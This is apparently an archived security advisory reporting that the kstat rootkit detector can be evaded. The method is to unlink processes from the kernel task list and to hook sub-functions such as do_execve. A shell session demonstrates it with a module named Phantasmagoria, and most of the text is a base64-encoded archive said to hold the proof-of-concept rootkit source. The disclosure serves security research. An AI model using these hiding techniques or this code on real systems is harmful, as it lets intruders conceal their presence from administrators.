|
COMMAND KSTAT (and maybe others) bypass SYSTEMS AFFECTED ? PROBLEM Dark Angel [dark0@angelfire.com] says : Is possible to hide processes to kstat removing theirs structs from the kernel's task_struct list. Is also possible to bypass kstat's checks on syscalls: if you modify a sub-function instead of the call (for example do_execve instad of sys_execve) the effects is the same, but for kstat is all okay: Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat 686 403 0 0 kstat Shoikan:~/Phantasmagoria# ./kstat -S Probing System Calls FingerPrints... No System Call Modified! Shoikan:~/Phantasmagoria# insmod Phantasmagoria.o Shoikan:~/Phantasmagoria# ./Heider 403(the current shell pid) HIDE Hiding successfull Shoikan:~/Phantasmagoria# ./kstat -P | grep kstat Shoikan:~/Phantasmagoria# ./kstat -S Probing System Calls FingerPrints... No System Call Modified! Shoikan:~/Phantasmagoria# Attached there is an english translation + proof of concept code of the original paper published on www.s0ftpj.org Content-Type: application/x-gzip; name="Phantasmagoria.tgz" Content-Length: 17658 Content-Transfer-Encoding: base64 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 